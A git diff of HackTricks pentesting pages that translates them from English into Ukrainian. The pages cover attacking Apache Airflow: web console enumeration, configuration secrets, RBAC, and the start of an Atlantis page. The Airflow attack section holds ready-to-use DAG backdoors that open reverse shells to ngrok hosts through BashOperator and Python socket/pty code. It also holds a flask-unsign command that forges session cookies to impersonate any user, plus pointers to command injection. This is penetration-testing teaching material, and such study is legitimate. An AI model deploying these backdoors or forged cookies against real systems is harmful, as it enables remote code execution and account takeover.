scheduling data pipelines or workflows**. Термін "orchestration" у контексті data pipelines означає процес організації, координації та управління складними data workflows, що походять з різних джерел. Основна мета цих orchestrated data pipelines полягає в наданні оброблених і споживаних data sets. Ці data sets широко використовуються безліччю додатків, включаючи, але не обмежуючись, інструментами бізнес-аналітики, моделями data science та machine learning, які є основою функціонування big data applications. -Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**. +В основному, Apache Airflow дозволить вам **schedule the execution of code when something** (event, cron) **happens**. ### Local Lab #### Docker-Compose -You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM). +Ви можете використовувати **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) для запуску повного середовища apache airflow docker. (Якщо ви на MacOS, переконайтеся, що ви виділили принаймні 6 ГБ оперативної пам'яті для docker VM). #### Minikube -One easy way to **run apache airflo**w is to run it **with minikube**: - +Один із простих способів **run apache airflo**w - це запустити його **with minikube**: ```bash helm repo add airflow-stable https://airflow-helm.github.io/charts helm repo update @@ -27,76 +26,72 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` +### Налаштування Airflow -### Airflow Configuration - -Airflow might store **sensitive information** in its configuration or you can find weak configurations in place: +Airflow може зберігати **чутливу інформацію** у своїй конфігурації або ви можете знайти слабкі конфігурації: {{#ref}} airflow-configuration.md {{#endref}} -### Airflow RBAC +### RBAC Airflow -Before start attacking Airflow you should understand **how permissions work**: +Перед початком атаки на Airflow ви повинні зрозуміти **як працюють дозволи**: {{#ref}} airflow-rbac.md {{#endref}} -### Attacks +### Атаки -#### Web Console Enumeration +#### Перерахування веб-консолі -If you have **access to the web console** you might be able to access some or all of the following information: +Якщо у вас є **доступ до веб-консолі**, ви можете отримати доступ до деякої або всієї наступної інформації: -- **Variables** (Custom sensitive information might be stored here) -- **Connections** (Custom sensitive information might be stored here) - - Access them in `http:///connection/list/` -- [**Configuration**](./#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here) -- List **users & roles** -- **Code of each DAG** (which might contain interesting info) +- **Змінні** (Користувацька чутлива інформація може зберігатися тут) +- **З'єднання** (Користувацька чутлива інформація може зберігатися тут) +- Доступ до них за адресою `http:///connection/list/` +- [**Конфігурація**](./#airflow-configuration) (Чутлива інформація, така як **`secret_key`** та паролі можуть зберігатися тут) +- Список **користувачів та ролей** +- **Код кожного DAG** (який може містити цікаву інформацію) -#### Retrieve Variables Values +#### Отримання значень змінних -Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http:///variable/list/`.\ -Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**. +Змінні можуть зберігатися в Airflow, щоб **DAG** могли **отримувати** їх значення. Це схоже на секрети інших платформ. Якщо у вас є **достатні дозволи**, ви можете отримати доступ до них у GUI за адресою `http:///variable/list/`.\ +Airflow за замовчуванням покаже значення змінної в GUI, однак, відповідно до [**цього**](https://marclamberti.com/blog/variables-with-apache-airflow/), можливо встановити **список змінних**, значення яких з'являться як **зірочки** в **GUI**. ![](<../../images/image (164).png>) -However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\ -To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\ -Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it: +Однак ці **значення** все ще можна **отримати** через **CLI** (вам потрібно мати доступ до БД), **виконання довільного DAG**, **API** для доступу до кінцевої точки змінних (API потрібно активувати) і **навіть сам GUI!**\ +Щоб отримати ці значення з GUI, просто **виберіть змінні**, до яких ви хочете отримати доступ, і **натисніть на Дії -> Експортувати**.\ +Інший спосіб - виконати **брутфорс** до **прихованого значення**, використовуючи **фільтрацію пошуку**, поки ви його не отримаєте: ![](<../../images/image (152).png>) -#### Privilege Escalation - -If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**. +#### Підвищення привілеїв +Якщо конфігурація **`expose_config`** встановлена на **True**, з **ролі Користувач** і **вище** можуть **читати** **конфігурацію в вебі**. У цій конфігурації з'являється **`secret_key`**, що означає, що будь-який користувач з цим дійсним ключем може **створити свій власний підписаний cookie, щоб видавати себе за будь-який інший обліковий запис користувача**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` - #### DAG Backdoor (RCE in Airflow worker) -If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\ -Note that this reverse shell is going to be executed inside an **airflow worker container**: - +Якщо у вас є **доступ на запис** до місця, де **зберігаються DAG**, ви можете просто **створити один**, який надішле вам **зворотний шелл.**\ +Зверніть увагу, що цей зворотний шелл буде виконуватись всередині **контейнера робітника Airflow**: ```python import pendulum from airflow import DAG from airflow.operators.bash import BashOperator with DAG( - dag_id='rev_shell_bash', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_bash', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = BashOperator( - task_id='run', - bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', - ) +run = BashOperator( +task_id='run', +bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1', +) ``` ```python @@ -105,75 +100,66 @@ from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") with DAG( - dag_id='rev_shell_python', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python', - python_callable=rs, - op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} - ) +run = PythonOperator( +task_id='rs_python', +python_callable=rs, +op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433} +) ``` - #### DAG Backdoor (RCE in Airflow scheduler) -If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder. - +Якщо ви налаштуєте щось на **виконання в корені коду**, на момент написання цього тексту, це буде **виконано планувальником** через кілька секунд після розміщення його в папці DAG. ```python import pendulum, socket, os, pty from airflow import DAG from airflow.operators.python import PythonOperator def rs(rhost, port): - s = socket.socket() - s.connect((rhost, port)) - [os.dup2(s.fileno(),fd) for fd in (0,1,2)] - pty.spawn("/bin/sh") +s = socket.socket() +s.connect((rhost, port)) +[os.dup2(s.fileno(),fd) for fd in (0,1,2)] +pty.spawn("/bin/sh") rs("2.tcp.ngrok.io", 14403) with DAG( - dag_id='rev_shell_python2', - schedule_interval='0 0 * * *', - start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), +dag_id='rev_shell_python2', +schedule_interval='0 0 * * *', +start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), ) as dag: - run = PythonOperator( - task_id='rs_python2', - python_callable=rs, - op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} +run = PythonOperator( +task_id='rs_python2', +python_callable=rs, +op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144} ``` +#### Створення DAG -#### DAG Creation +Якщо вам вдасться **зламати машину всередині кластера DAG**, ви зможете створити нові **скрипти DAG** у папці `dags/`, і вони будуть **репліковані на решті машин** всередині кластера DAG. -If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster. +#### Впровадження коду в DAG -#### DAG Code Injection +Коли ви виконуєте DAG з GUI, ви можете **передавати аргументи** до нього.\ +Отже, якщо DAG не правильно закодований, він може бути **вразливим до впровадження команд.**\ +Саме це сталося в цьому CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -When you execute a DAG from the GUI you can **pass arguments** to it.\ -Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\ -That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) - -All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**. - -Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**: +Все, що вам потрібно знати, щоб **почати шукати впровадження команд у DAG**, це те, що **параметри** **доступні** за допомогою коду **`dag_run.conf.get("param_name")`**. +Більше того, та ж вразливість може виникнути з **змінними** (зверніть увагу, що з достатніми привілеями ви могли б **контролювати значення змінних** в GUI). Змінні **доступні за допомогою**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` - -If they are used for example inside a a bash command, you could perform a command injection. +Якщо вони використовуються, наприклад, всередині команди bash, ви можете виконати ін'єкцію команди. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 5fd8e486b..3125b40ff 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -4,112 +4,102 @@ ## Configuration File -**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.** +**Apache Airflow** генерує **файл конфігурації** на всіх машинах airflow, який називається **`airflow.cfg`** в домашньому каталозі користувача airflow. Цей файл конфігурації містить інформацію про конфігурацію і **може містити цікаву та чутливу інформацію.** -**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.** +**Є два способи доступу до цього файлу: шляхом компрометації якоїсь машини airflow або доступом до веб-консолі.** -Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +Зверніть увагу, що **значення всередині файлу конфігурації** **можуть не бути тими, що використовуються**, оскільки ви можете перезаписати їх, встановивши змінні середовища, такі як `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. -If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\ -If you have **access to some machine inside the airflow env**, check the **environment**. +Якщо у вас є доступ до **файлу конфігурації на веб-сервері**, ви можете перевірити **реальну запущену конфігурацію** на тій же сторінці, де відображається конфігурація.\ +Якщо у вас є **доступ до якоїсь машини в середовищі airflow**, перевірте **середовище**. -Some interesting values to check when reading the config file: +Деякі цікаві значення для перевірки при читанні файлу конфігурації: ### \[api] -- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS** -- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS** -- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS** -- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API: - - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API - - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication - - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication** - - `airflow.api.auth.backend.basic_auth`: For **basic authentication** - - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)). - - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default). - - You can also **create you own authentication** method with python. -- **`google_key_path`:** Path to the **GCP service account key** +- **`access_control_allow_headers`**: Це вказує на **дозволені** **заголовки** для **CORS** +- **`access_control_allow_methods`**: Це вказує на **дозволені методи** для **CORS** +- **`access_control_allow_origins`**: Це вказує на **дозволені джерела** для **CORS** +- **`auth_backend`**: [**Згідно з документацією**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) кілька варіантів можуть бути використані для налаштування, хто може отримати доступ до API: +- `airflow.api.auth.backend.deny_all`: **За замовчуванням ніхто** не може отримати доступ до API +- `airflow.api.auth.backend.default`: **Усі можуть** отримати доступ без аутентифікації +- `airflow.api.auth.backend.kerberos_auth`: Для налаштування **керберосної аутентифікації** +- `airflow.api.auth.backend.basic_auth`: Для **базової аутентифікації** +- `airflow.composer.api.backend.composer_auth`: Використовує аутентифікацію композиторів (GCP) (з [**тут**](https://cloud.google.com/composer/docs/access-airflow-api)). +- `composer_auth_user_registration_role`: Це вказує на **роль**, яку **користувач композиторів** отримає всередині **airflow** (**Op** за замовчуванням). +- Ви також можете **створити свій власний метод аутентифікації** за допомогою python. +- **`google_key_path`:** Шлях до **ключа облікового запису служби GCP** ### **\[atlas]** -- **`password`**: Atlas password -- **`username`**: Atlas username +- **`password`**: Пароль Atlas +- **`username`**: Ім'я користувача Atlas ### \[celery] -- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_) -- **`result_backend`**: Postgres url which may contain **credentials**. -- **`ssl_cacert`**: Path to the cacert -- **`ssl_cert`**: Path to the cert -- **`ssl_key`**: Path to the key +- **`flower_basic_auth`** : Облікові дані (_user1:password1,user2:password2_) +- **`result_backend`**: URL Postgres, який може містити **облікові дані**. +- **`ssl_cacert`**: Шлях до cacert +- **`ssl_cert`**: Шлях до сертифіката +- **`ssl_key`**: Шлях до ключа ### \[core] -- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`. -- **`fernet_key`**: Key to store encrypted variables (symmetric) -- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections. -- **`security`**: What security module to use (for example kerberos) +- **`dag_discovery_safe_mode`**: Увімкнено за замовчуванням. Під час виявлення DAG ігноруйте будь-які файли, які не містять рядки `DAG` та `airflow`. +- **`fernet_key`**: Ключ для зберігання зашифрованих змінних (симетричний) +- **`hide_sensitive_var_conn_fields`**: Увімкнено за замовчуванням, приховує чутливу інформацію про з'єднання. +- **`security`**: Який модуль безпеки використовувати (наприклад, kerberos) ### \[dask] -- **`tls_ca`**: Path to ca -- **`tls_cert`**: Part to the cert -- **`tls_key`**: Part to the tls key +- **`tls_ca`**: Шлях до ca +- **`tls_cert`**: Шлях до сертифіката +- **`tls_key`**: Шлях до tls ключа ### \[kerberos] -- **`ccache`**: Path to ccache file -- **`forwardable`**: Enabled by default +- **`ccache`**: Шлях до файлу ccache +- **`forwardable`**: Увімкнено за замовчуванням ### \[logging] -- **`google_key_path`**: Path to GCP JSON creds. +- **`google_key_path`**: Шлях до GCP JSON облікових даних. ### \[secrets] -- **`backend`**: Full class name of secrets backend to enable -- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class. +- **`backend`**: Повна назва класу бекенду секретів для активації +- **`backend_kwargs`**: Параметр backend_kwargs завантажується в словник і передається в **init** класу бекенду секретів. ### \[smtp] -- **`smtp_password`**: SMTP password -- **`smtp_user`**: SMTP user +- **`smtp_password`**: Пароль SMTP +- **`smtp_user`**: Користувач SMTP ### \[webserver] -- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value -- **`cookie_secure`**: Set **secure flag** on the the session cookie -- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console** -- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker) -- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**) -- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert** -- **`web_server_ssl_key`**: **Path** to the **SSL** **Key** -- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible +- **`cookie_samesite`**: За замовчуванням це **Lax**, тому це вже найслабше можливе значення +- **`cookie_secure`**: Встановіть **безпечний прапор** на сесійне cookie +- **`expose_config`**: За замовчуванням False, якщо true, **конфігурацію** можна **читати** з веб **консолі** +- **`expose_stacktrace`**: За замовчуванням це True, це покаже **python tracebacks** (можливо, корисно для зловмисника) +- **`secret_key`**: Це **ключ, який використовується flask для підпису cookie** (якщо у вас є це, ви можете **видавати себе за будь-якого користувача в Airflow**) +- **`web_server_ssl_cert`**: **Шлях** до **SSL** **сертифіката** +- **`web_server_ssl_key`**: **Шлях** до **SSL** **ключа** +- **`x_frame_enabled`**: За замовчуванням **True**, тому за замовчуванням клікджекинг неможливий ### Web Authentication -By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as - +За замовчуванням **веб-аутентифікація** вказується у файлі **`webserver_config.py`** і налаштовується як ```bash AUTH_TYPE = AUTH_DB ``` - -Which means that the **authentication is checked against the database**. However, other configurations are possible like - +Що означає, що **автентифікація перевіряється проти бази даних**. Однак можливі й інші конфігурації, такі як ```bash AUTH_TYPE = AUTH_OAUTH ``` +Щоб залишити **автентифікацію стороннім сервісам**. -To leave the **authentication to third party services**. - -However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**: - +Однак також є можливість **дозволити доступ анонімним користувачам**, встановивши наступний параметр на **бажану роль**: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 7ff782327..49889eddd 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,44 +4,40 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles. +(З документації)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow постачається з **набором ролей за замовчуванням**: **Admin**, **User**, **Op**, **Viewer** та **Public**. **Тільки користувачі `Admin`** можуть **налаштовувати/змінювати дозволи для інших ролей**. Але не рекомендується, щоб користувачі `Admin` змінювали ці стандартні ролі будь-яким чином, видаляючи або додаючи дозволи до цих ролей. -- **`Admin`** users have all possible permissions. -- **`Public`** users (anonymous) don’t have any permissions. -- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.** -- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file** -- **`Op`** users have `User` permissions plus additional op permissions. +- **`Admin`** користувачі мають всі можливі дозволи. +- **`Public`** користувачі (анонімні) не мають жодних дозволів. +- **`Viewer`** користувачі мають обмежені дозволи перегляду (тільки читання). Він **не може бачити конфігурацію.** +- **`User`** користувачі мають дозволи `Viewer` плюс додаткові дозволи користувача, які дозволяють йому трохи керувати DAG. Він **може бачити конфігураційний файл.** +- **`Op`** користувачі мають дозволи `User` плюс додаткові дозволи оператора. -Note that **admin** users can **create more roles** with more **granular permissions**. +Зверніть увагу, що **адміністратори** можуть **створювати більше ролей** з більш **детальними дозволами**. -Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that. +Також зверніть увагу, що єдина роль за замовчуванням з **дозволом на перегляд користувачів і ролей - це Admin, навіть Op** не зможе цього зробити. -### Default Permissions +### Стандартні Дозволи -These are the default permissions per default role: +Це стандартні дозволи для стандартних ролей: - **Admin** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs] +\[може видаляти на Connections, може читати на Connections, може редагувати на Connections, може створювати на Connections, може читати на DAGs, може редагувати на DAGs, може видаляти на DAGs, може читати на DAG Runs, може читати на Task Instances, може редагувати на Task Instances, може видаляти на DAG Runs, може створювати на DAG Runs, може редагувати на DAG Runs, може читати на Audit Logs, може читати на ImportError, може видаляти на Pools, може читати на Pools, може редагувати на Pools, може створювати на Pools, може читати на Providers, може видаляти на Variables, може читати на Variables, може редагувати на Variables, може створювати на Variables, може читати на XComs, може читати на DAG Code, може читати на Configurations, може читати на Plugins, може читати на Roles, може читати на Permissions, може видаляти на Roles, може редагувати на Roles, може створювати на Roles, може читати на Users, може створювати на Users, може редагувати на Users, може видаляти на Users, може читати на DAG Dependencies, може читати на Jobs, може читати на My Password, може редагувати на My Password, може читати на My Profile, може редагувати на My Profile, може читати на SLA Misses, може читати на Task Logs, може читати на Website, доступ до меню на Browse, доступ до меню на DAG Dependencies, доступ до меню на DAG Runs, доступ до меню на Documentation, доступ до меню на Docs, доступ до меню на Jobs, доступ до меню на Audit Logs, доступ до меню на Plugins, доступ до меню на SLA Misses, доступ до меню на Task Instances, може створювати на Task Instances, може видаляти на Task Instances, доступ до меню на Admin, доступ до меню на Configurations, доступ до меню на Connections, доступ до меню на Pools, доступ до меню на Variables, доступ до меню на XComs, може видаляти на XComs, може читати на Task Reschedules, доступ до меню на Task Reschedules, може читати на Triggers, доступ до меню на Triggers, може читати на Passwords, може редагувати на Passwords, доступ до меню на List Users, доступ до меню на Security, доступ до меню на List Roles, може читати на User Stats Chart, доступ до меню на User's Statistics, доступ до меню на Base Permissions, може читати на View Menus, доступ до меню на Views/Menus, може читати на Permission Views, доступ до меню на Permission on Views/Menus, може отримувати на MenuApi, доступ до меню на Providers, може створювати на XComs] - **Op** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs] +\[може видаляти на Connections, може читати на Connections, може редагувати на Connections, може створювати на Connections, може читати на DAGs, може редагувати на DAGs, може видаляти на DAGs, може читати на DAG Runs, може читати на Task Instances, може редагувати на Task Instances, може видаляти на DAG Runs, може створювати на DAG Runs, може редагувати на DAG Runs, може читати на Audit Logs, може читати на ImportError, може видаляти на Pools, може читати на Pools, може редагувати на Pools, може створювати на Pools, може читати на Providers, може видаляти на Variables, може читати на Variables, може редагувати на Variables, може створювати на Variables, може читати на XComs, може читати на DAG Code, може читати на Configurations, може читати на Plugins, може читати на DAG Dependencies, може читати на Jobs, може читати на My Password, може редагувати на My Password, може читати на My Profile, може редагувати на My Profile, може читати на SLA Misses, може читати на Task Logs, може читати на Website, доступ до меню на Browse, доступ до меню на DAG Dependencies, доступ до меню на DAG Runs, доступ до меню на Documentation, доступ до меню на Docs, доступ до меню на Jobs, доступ до меню на Audit Logs, доступ до меню на Plugins, доступ до меню на SLA Misses, доступ до меню на Task Instances, може створювати на Task Instances, може видаляти на Task Instances, доступ до меню на Admin, доступ до меню на Configurations, доступ до меню на Connections, доступ до меню на Pools, доступ до меню на Variables, доступ до меню на XComs, може видаляти на XComs] - **User** -\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances] +\[може читати на DAGs, може редагувати на DAGs, може видаляти на DAGs, може читати на DAG Runs, може читати на Task Instances, може редагувати на Task Instances, може видаляти на DAG Runs, може створювати на DAG Runs, може редагувати на DAG Runs, може читати на Audit Logs, може читати на ImportError, може читати на XComs, може читати на DAG Code, може читати на Plugins, може читати на DAG Dependencies, може читати на Jobs, може читати на My Password, може редагувати на My Password, може читати на My Profile, може редагувати на My Profile, може читати на SLA Misses, може читати на Task Logs, може читати на Website, доступ до меню на Browse, доступ до меню на DAG Dependencies, доступ до меню на DAG Runs, доступ до меню на Documentation, доступ до меню на Docs, доступ до меню на Jobs, доступ до меню на Audit Logs, доступ до меню на Plugins, доступ до меню на SLA Misses, доступ до меню на Task Instances, може створювати на Task Instances, може видаляти на Task Instances] - **Viewer** -\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances] +\[може читати на DAGs, може читати на DAG Runs, може читати на Task Instances, може читати на Audit Logs, може читати на ImportError, може читати на XComs, може читати на DAG Code, може читати на Plugins, може читати на DAG Dependencies, може читати на Jobs, може читати на My Password, може редагувати на My Password, може читати на My Profile, може редагувати на My Profile, може читати на SLA Misses, може читати на Task Logs, може читати на Website, доступ до меню на Browse, доступ до меню на DAG Dependencies, доступ до меню на DAG Runs, доступ до меню на Documentation, доступ до меню на Docs, доступ до меню на Jobs, доступ до меню на Audit Logs, доступ до меню на Plugins, доступ до меню на SLA Misses, доступ до меню на Task Instances] - **Public** \[] {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index a4b35140f..d908489cb 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -4,109 +4,109 @@ ### Basic Information -Atlantis basically helps you to to run terraform from Pull Requests from your git server. +Atlantis в основному допомагає вам запускати terraform з Pull Requests з вашого git сервера. ![](<../images/image (161).png>) ### Local Lab -1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. -2. Create a **personal token** (with repo access) of your **github** user -3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** - 1. You can access the web page in 127.0.0.1:4141 +1. Перейдіть на **сторінку релізів atlantis** в [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) і **завантажте** той, що вам підходить. +2. Створіть **персональний токен** (з доступом до репозиторіїв) вашого **github** користувача. +3. Виконайте `./atlantis testdrive`, і він створить **демо репозиторій**, який ви можете використовувати для **взаємодії з atlantis**. +1. Ви можете отримати доступ до веб-сторінки за адресою 127.0.0.1:4141. ### Atlantis Access #### Git Server Credentials -**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure 